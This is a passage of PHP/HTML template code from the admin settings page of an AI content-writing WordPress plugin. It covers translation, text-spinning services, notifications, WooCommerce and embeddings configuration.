</div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Spin & Translate:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to automatically translate generated content using Google Translate?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatically Translate Content To:", 'aiomatic-automatic-ai-content-writer');?></b><br/><b><?php echo esc_html__("Info:", 'aiomatic-automatic-ai-content-writer');?></b> <?php echo esc_html__("for translation, the plugin also supports WPML.", 'aiomatic-automatic-ai-content-writer');?> <b><a href="https://wpml.org/?aid=238195&affiliate_key=ix3LsFyq0xKz" target="_blank"><?php echo esc_html__("Get WPML now!", 'aiomatic-automatic-ai-content-writer');?></a></b> </div> </th> <td> <div> <select id="translate" name="aiomatic_Main_Settings[translate]" class="cr_width_full"> <?php $i = 0; foreach ($language_names as $lang) { echo '<option value="' . esc_html($language_codes[$i]) . '"'; if ($translate == $language_codes[$i]) { echo ' selected'; } echo '>' . esc_html($language_names[$i]) . '</option>'; $i++; } if($deepl_auth != '') { $i = 0; foreach ($language_names_deepl as $lang) { echo '<option value="' . esc_html($language_codes_deepl[$i]) . '"'; if ($translate == $language_codes_deepl[$i]) { echo ' selected'; } echo '>' . esc_html($language_names_deepl[$i]) . '</option>'; $i++; } } if($bing_auth != '') { $i = 0; foreach ($language_names_bing as $lang) { echo '<option value="' . esc_html($language_codes_bing[$i]) . '"'; if ($translate == $language_codes_bing[$i]) { echo ' selected'; } echo '>' . esc_html($language_names_bing[$i]) . '</option>'; $i++; } } ?> </select> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the source language of the translation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Translation Source Language:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="translate_source" name="aiomatic_Main_Settings[translate_source]" class="cr_width_full"> <?php $i = 0; foreach ($language_names as $lang) { echo '<option value="' . esc_html($language_codes[$i]) . '"'; if ($translate_source == $language_codes[$i]) { echo ' selected'; } echo '>' . esc_html($language_names[$i]) . '</option>'; $i++; } if($deepl_auth != '') { $i = 0; foreach ($language_names_deepl as $lang) { echo '<option value="' . esc_html($language_codes_deepl[$i]) . '"'; if ($translate_source == $language_codes_deepl[$i]) { echo ' selected'; } echo '>' . esc_html($language_names_deepl[$i]) . '</option>'; $i++; } } if($bing_auth != '') { $i = 0; foreach ($language_names_bing as $lang) { echo '<option value="' . esc_html($language_codes_bing[$i]) . '"'; if ($translate_source == $language_codes_bing[$i]) { echo ' selected'; } echo '>' . esc_html($language_names_bing[$i]) . '</option>'; $i++; } } ?> </select> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to automatically translate generated content a second time, to this final language? In some cases, this can replace word spinning of scraped content. Please note that this can increase the amount of requests made to the translation APIs. This field has no effect if you don't set also a first translation language, in the settings field from above.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Also A Second Translation To:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select class="cr_width_full" id="second_translate" name="aiomatic_Main_Settings[second_translate]" > <?php $i = 0; foreach ($language_names as $lang) { echo '<option value="' . esc_html($language_codes[$i]) . '"'; if ($second_translate == $language_codes[$i]) { echo ' selected'; } echo '>' . esc_html($language_names[$i]) . '</option>'; $i++; } if($deepl_auth != '') { $i = 0; foreach ($language_names_deepl as $lang) { echo '<option value="' . esc_html($language_codes_deepl[$i]) . '"'; if ($second_translate == $language_codes_deepl[$i]) { echo ' selected'; } echo '>' . esc_html($language_names_deepl[$i]) . '</option>'; $i++; } } if($bing_auth != '') { $i = 0; foreach ($language_names_bing as $lang) { echo '<option value="' . esc_html($language_codes_bing[$i]) . '"'; if ($second_translate == $language_codes_bing[$i]) { echo ' selected'; } echo '>' . esc_html($language_names_bing[$i]) . '</option>'; $i++; } } ?> </select> </div> </td> </tr> <tr> <td> <div id="bestspin"> <p><?php echo esc_html__("Don't have an 'The Best Spinner' account yet? Click here to get one:", 'aiomatic-automatic-ai-content-writer');?> <b><a href="https://paykstrt.com/10313/38910" target="_blank"><?php echo esc_html__("get a new account now!", 'aiomatic-automatic-ai-content-writer');?></a></b></p> </div> <div id="wordai"> <p><?php echo esc_html__("Don't have an 'WordAI' account yet? Click here to get one:", 'aiomatic-automatic-ai-content-writer');?> <b><a href="https://wordai.com/?ref=h17f4" target="_blank"><?php echo esc_html__("get a new account now!", 'aiomatic-automatic-ai-content-writer');?></a></b></p> </div> <div id="spinrewriter"> <p><?php echo esc_html__("Don't have an 'SpinRewriter' account yet? Click here to get one:", 'aiomatic-automatic-ai-content-writer');?> <b><a href="https://www.spinrewriter.com/?ref=24b18" target="_blank"><?php echo esc_html__("get a new account now!", 'aiomatic-automatic-ai-content-writer');?></a></b></p> </div> <div id="spinnerchief"> <p><?php echo esc_html__("Don't have an 'SpinnerChief' account yet? Click here to get one:", 'aiomatic-automatic-ai-content-writer');?> <b><a href="http://www.whitehatbox.com/Agents/SSS?code=iscpuQScOZMi3vGFhPVBnAP5FyC6mPaOEshvgU4BbyoH8ftVRbM3uQ==" target="_blank"><?php echo esc_html__("get a new account now!", 'aiomatic-automatic-ai-content-writer');?></a></b></p> </div> <div id="contentprofessor"> <p><?php echo esc_html__("Don't have an 'ContentProfessor' account yet? Click here to get one:", 'aiomatic-automatic-ai-content-writer');?> <b><a href="http://www.contentprofessor.com/go.php?offer=kisded&pid=2" target="_blank"><?php echo esc_html__("get a new account now!", 'aiomatic-automatic-ai-content-writer');?></a></b></p> </div> <div id="chimprewriter"> <p><?php echo esc_html__("Don't have an 'ChimpRewriter' account yet? Click here to get one:", 'aiomatic-automatic-ai-content-writer');?> <b><a href="https://coderevolution--chimprewriter.thrivecart.com/chimp-rewriter-monthly/" target="_blank"><?php echo esc_html__("get a new account now!", 'aiomatic-automatic-ai-content-writer');?></a></b></p> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to randomize text by changing words of a text with synonyms using one of the listed methods? Note that this is an experimental feature and can in some instances drastically increase the rule running time!", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Spin Text Using Word Synonyms (for automatically generated posts only):", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select id="spin_text" name="aiomatic_Main_Settings[spin_text]" onchange="mainChanged()" class="cr_width_full"> <option value="disabled" <?php if ($spin_text == 'disabled') { echo ' selected'; } ?> ><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="best" <?php if ($spin_text == 'best') { echo ' selected'; } ?> >The Best Spinner - <?php echo esc_html__("High Quality - Paid", 'aiomatic-automatic-ai-content-writer');?></option> <option value="wordai" <?php if($spin_text == 'wordai') { echo ' selected'; } ?> >Wordai - <?php echo esc_html__("High Quality - Paid", 'aiomatic-automatic-ai-content-writer');?></option> <option value="spinrewriter" <?php if($spin_text == 'spinrewriter') { echo ' selected'; } ?> >SpinRewriter - <?php echo esc_html__("High Quality - Paid", 'aiomatic-automatic-ai-content-writer');?></option> <option value="spinnerchief" <?php if($spin_text == 'spinnerchief') { echo ' selected'; } ?> >SpinnerChief - <?php echo esc_html__("High Quality - Paid", 'aiomatic-automatic-ai-content-writer');?></option> <option value="chimprewriter" <?php if($spin_text == 'chimprewriter') { echo ' selected'; } ?> >ChimpRewriter - <?php echo esc_html__("High Quality - Paid", 'aiomatic-automatic-ai-content-writer');?></option> <option value="contentprofessor" <?php if($spin_text == 'contentprofessor') { echo ' selected'; } ?> >ContentProfessor - <?php echo esc_html__("High Quality - Paid", 'aiomatic-automatic-ai-content-writer');?></option> <option value="builtin" <?php if ($spin_text == 'builtin') { echo ' selected'; } ?> ><?php echo esc_html__("Built-in - Medium Quality - Free", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to randomize text by changing words of a text with synonyms using one of the listed methods? Note that this is an experimental feature and can in some instances drastically increase the rule running time!", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Spinner For:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select id="spin_what" name="aiomatic_Main_Settings[spin_what]" onchange="mainChanged()" class="cr_width_full"> <option value="all" <?php if ($spin_what == 'all') { echo ' selected'; } ?> ><?php echo esc_html__("Bulk Posters & OmniBlocks", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bulk" <?php if ($spin_what == 'bulk') { echo ' selected'; } ?> ><?php echo esc_html__("Bulk Posters", 'aiomatic-automatic-ai-content-writer');?></option> <option value="omni" <?php if($spin_what == 'omni') { echo ' selected'; } ?> ><?php echo esc_html__("OmniBlocks", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideSpinRewriterSpecific"> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to not spin title (only content)?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable The Best Spinner Humanize AI Usage:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <label class="aiomatic-switch"><input type="checkbox" id="best_humanize" name="aiomatic_Main_Settings[best_humanize]"<?php if ($best_humanize == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to not spin title (only content)?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Spin Title, Only Content:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <label class="aiomatic-switch"><input type="checkbox" id="no_title" name="aiomatic_Main_Settings[no_title]"<?php if ($no_title == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a list of comma separated words that you do not wish to spin (only for built-in spinners).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Excluded Word List (For Built-In Spinner Only):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="text" name="aiomatic_Main_Settings[exclude_words]" value="<?php echo esc_html($exclude_words); ?>" placeholder="<?php echo esc_html__("word1, word2, word3", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </div> </td> </tr> <tr> <th> <div class="hideBest"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Insert your user name on premium spinner service.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Premium Spinner Service User Name/Email:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div class="hideBest"> <input type="text" name="aiomatic_Main_Settings[best_user]" value="<?php echo esc_html($best_user); ?>" placeholder="<?php echo esc_html__("Please insert your premium text spinner service user name", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </div> </td> </tr> <tr> <th> <div class="hideBest"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Insert your password for the selected premium spinner service.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Premium Spinner Service Password/API Key:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div class="hideBest"> <input type="password" autocomplete="off" name="aiomatic_Main_Settings[best_password]" value="<?php echo esc_html($best_password); ?>" placeholder="<?php echo esc_html__("Please insert your premium text spinner service password", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Notification Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select an email address where a notification will be sent, in case a specific rule depleted its keywords and it did not publish any new content because of this. This will be applied only if you check the 'Process Each Title/Topic Only Once' checkbox in rules. You can enter a comma separated list of email addresses which will be notified.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Send An Email Notification When A Specific Rule Has Depleted Its Keywords/Topics:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="text" name="aiomatic_Main_Settings[email_notification]" value="<?php echo esc_html($email_notification); ?>" placeholder="your_email@yoursite.com,your_email2@yoursite.com" class="cr_width_full"> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("WooCommerce Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to create External WooCommerce Products in the 'Amazon Product Review' Bulk Post Creator. To enable this functionality, you also need to select the 'product' post type in rule settings, in the 'Amazon Product Review' menu of the plugin, for created rules.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Create External WooCommerce Products In 'Amazon Product Review':", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <label class="aiomatic-switch"><input type="checkbox" id="external_products" name="aiomatic_Main_Settings[external_products]"<?php if ($external_products == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Advanced Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If you check this checkbox, all prompts which are used in the plugin will be processed as they are, in a single bulk text block, regardless of new lines from their content. If the checkbox is unchecked, a random prompt will be selected at each run, from the entered prompt lines, based on new lines from the text (like this, you will be able to enter multiple prompts from which the plugin will select a random one at each run).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompt Processing - Bulk Or Random Selection:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="whole_prompt" name="aiomatic_Main_Settings[whole_prompt]"<?php if ($whole_prompt == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If you want to create long content (over 10000 words) in a single post and you are getting undesired results, you can check this checkbox for a fix.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Use Alternate Continue Tokens (Experimental):", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="alternate_continue" name="aiomatic_Main_Settings[alternate_continue]"<?php if ($alternate_continue == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("When using the 'Title Based Posting' mode, if you set the 'AI Content Minimum Character Count' settings field to a large character count, this you add a prompt completion here, it will be prepended to the text which is sent to the AI writer, for continuation..", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Preppend Text To Prompts For Content Completion:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="3" cols="70" name="aiomatic_Main_Settings[continue_prepend]" class="cr_width_full" placeholder="<?php echo esc_html__("Prompt to prepend to text continuation requests", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($continue_prepend);?></textarea> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("When using the 'Title Based Posting' mode, if you set the 'AI Content Minimum Character Count' settings field to a large character count, this you add a prompt completion here, it will be appended to the text which is sent to the AI writer, for continuation..", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Append Text To Prompts For Content Completion:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="3" cols="70" name="aiomatic_Main_Settings[continue_append]" class="cr_width_full" placeholder="<?php echo esc_html__("Prompt to append to text continuation requests", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($continue_append);?></textarea> </div> </td> </tr> <tr> <th> <div> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to convert new lines to <br> tags in created article content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Convert New Lines To Line Breaks (br) In AI Generated Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="nlbr_parse" name="aiomatic_Main_Settings[nlbr_parse]"<?php if ($nlbr_parse == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use the Bing search results to get related headings for created articles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Disable Bing Search Scraping To Get More Headings:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="bing_off" name="aiomatic_Main_Settings[bing_off]"<?php if ($bing_off == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use the AI writer to get related headings for created articles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Disable AI Writer Usage To Get More Headings:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="ai_off" name="aiomatic_Main_Settings[ai_off]"<?php if ($ai_off == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to disable the post content processing, to remove the <pre><code> tags added by AI models. These tags can be generated by some models by mistake and the plugin can automatically convert them to correct HTML content. If you want to keep <pre><code> tags intact, check this checkbox. This can be useful if you instruct the AI to create coding examples or different other code related content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Disable Post Content Processing To Remove <pre><code> Tags:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="pre_code_off" name="aiomatic_Main_Settings[pre_code_off]"<?php if ($pre_code_off == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> </table> </div> <div id="tab-13<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <?php if($pinecone_app_id != '' || $qdrant_app_id != '') { ?> <h3><?php echo esc_html__('Embeddings Settings', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'Embeddings' tab allows you to manage and configure settings for generating and using content embeddings to enhance the AI content generated by the plugin.", 'aiomatic-automatic-ai-content-writer'); ?></p> <h2><?php echo esc_html__("More details about Embeddings, check ", 'aiomatic-automatic-ai-content-writer');?><a href="<?php echo admin_url('admin.php?page=aiomatic_embeddings_panel');?>"><?php echo esc_html__("the 'AI Embeddings' settings page", 'aiomatic-automatic-ai-content-writer');?>.</a></h2> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Main AI Embeddings Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the embeddings API which will be used by default.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Default Embeddings API To Use:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select id="embeddings_api" name="aiomatic_Main_Settings[embeddings_api]" class="cr_width_full"> <option value="pinecone"<?php if ($embeddings_api == "pinecone") { echo " selected"; } ?>><?php echo esc_html__("Pinecone", 'aiomatic-automatic-ai-content-writer');?></option> <option value="qdrant"<?php if ($embeddings_api == "qdrant") { echo " selected"; } ?>><?php echo esc_html__("Qdrant", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Additional Embeddings Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr <?php if($embeddings_api == 'qdrant') { echo 'class="cr_display_none"'; } ?> > <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("After creating your Pinecone API, create a new index. Make sure to set your dimension to 1536 and also make sure to set your metric to cosine. Enter the generated index ID here.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Pinecone Index:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="text" placeholder="mytestingindex-28cc276.svc.us-east1-gcp.pinecone.io" name="aiomatic_Main_Settings[pinecone_index]" value="<?php echo esc_html($pinecone_index);?>" class="cr_width_full"/> </div> </td> </tr> <tr <?php if($embeddings_api == 'qdrant') { echo 'class="cr_display_none"'; } ?> > <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("After creating your Pinecone API, create a new namespace (optional).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Pinecone Namespace:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="text" placeholder="Pinecone namespace" name="aiomatic_Main_Settings[pinecone_namespace]" value="<?php echo esc_html($pinecone_namespace);?>" class="cr_width_full"/> </div> </td> </tr> <tr <?php if($embeddings_api == '' || $embeddings_api == 'pinecone') { echo 'class="cr_display_none"'; } ?> > <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("After creating your Qdrant_index API, create a new index. Make sure to set your dimension to 1536 and also make sure to set your metric to cosine. Enter the generated index ID here.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Qdrant Index URL:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="text" placeholder="29331ee6-e231-409a-b72c-3a1ee4f814d0.europe-west3-0.gcp.cloud.qdrant.io:6333" name="aiomatic_Main_Settings[qdrant_index]" value="<?php echo esc_html($qdrant_index);?>" class="cr_width_full"/> </div> </td> </tr> <tr <?php if($embeddings_api == '' || $embeddings_api == 'pinecone') { echo 'class="cr_display_none"'; } ?> > <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add a name for your Qdrant collection. This is optional. The default value for this is: qdrant", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Qdrant Collection Name (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="text" placeholder="Collection name" name="aiomatic_Main_Settings[qdrant_name]" value="<?php echo esc_html($qdrant_name);?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The number of results to return for each query.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Results To Query:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" min="1" max="10000" step="1" placeholder="1" name="aiomatic_Main_Settings[pinecone_topk]" value="<?php echo esc_html($pinecone_topk);?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the model you want to use for embeddings.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Embeddings Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="embeddings_model" name="aiomatic_Main_Settings[embeddings_model]" class="cr_width_full"> <?php $all_embeddings = AIOMATIC_EMBEDDINGS_MODELS; if (isset($aiomatic_Main_Settings['app_id_google']) && trim($aiomatic_Main_Settings['app_id_google']) != '') { $all_embeddings = array_merge($all_embeddings, AIOMATIC_GOOGLE_EMBEDDINGS_MODELS); } foreach($all_embeddings as $modelx) { echo '<option value="' . $modelx .'"'; if ($embeddings_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx); if(in_array($modelx, AIOMATIC_GOOGLE_EMBEDDINGS_MODELS)) { echo ' (Google)'; } echo '</option>'; } ?> </select> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enable embeddings for which parts of the plugin.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Embeddings For:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="checkbox" id="embeddings_single" name="aiomatic_Main_Settings[embeddings_single]"<?php if ($embeddings_single == 'on') echo ' checked '; ?>> <label for="embeddings_single"><?php echo esc_html__("Single AI Post Creator", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="embeddings_bulk" onchange="embeddingsChanged();" name="aiomatic_Main_Settings[embeddings_bulk]"<?php if ($embeddings_bulk == 'on') echo ' checked '; ?>> <label for="embeddings_bulk"><?php echo esc_html__("Bulk AI Post Creator", 'aiomatic-automatic-ai-content-writer');?></label><br/> <div class="hideEmbeddingsContent"> <input type="checkbox" id="embeddings_bulk_title" name="aiomatic_Main_Settings[embeddings_bulk_title]"<?php if ($embeddings_bulk_title == 'on') echo ' checked '; ?>> <label for="embeddings_bulk_title"><?php echo esc_html__("Bulk AI Post Creator - Title Prompts", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="embeddings_bulk_sections" name="aiomatic_Main_Settings[embeddings_bulk_sections]"<?php if ($embeddings_bulk_sections == 'on') echo ' checked '; ?>> <label for="embeddings_bulk_sections"><?php echo esc_html__("Bulk AI Post Creator - Sections Prompts", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="embeddings_bulk_intro" name="aiomatic_Main_Settings[embeddings_bulk_intro]"<?php if ($embeddings_bulk_intro == 'on') echo ' checked '; ?>> <label for="embeddings_bulk_intro"><?php echo esc_html__("Bulk AI Post Creator - Intro Prompts", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="embeddings_bulk_content" name="aiomatic_Main_Settings[embeddings_bulk_content]"<?php if ($embeddings_bulk_content == 'on') echo ' checked '; ?>> <label for="embeddings_bulk_content"><?php echo esc_html__("Bulk AI Post Creator - Content Prompts", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="embeddings_bulk_qa" name="aiomatic_Main_Settings[embeddings_bulk_qa]"<?php if ($embeddings_bulk_qa == 'on') echo ' checked '; ?>> <label for="embeddings_bulk_qa"><?php echo esc_html__("Bulk AI Post Creator - QA Prompts", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="embeddings_bulk_outro" name="aiomatic_Main_Settings[embeddings_bulk_outro]"<?php if ($embeddings_bulk_outro == 'on') echo ' checked '; ?>> <label for="embeddings_bulk_outro"><?php echo esc_html__("Bulk AI Post Creator - Outro Prompts", 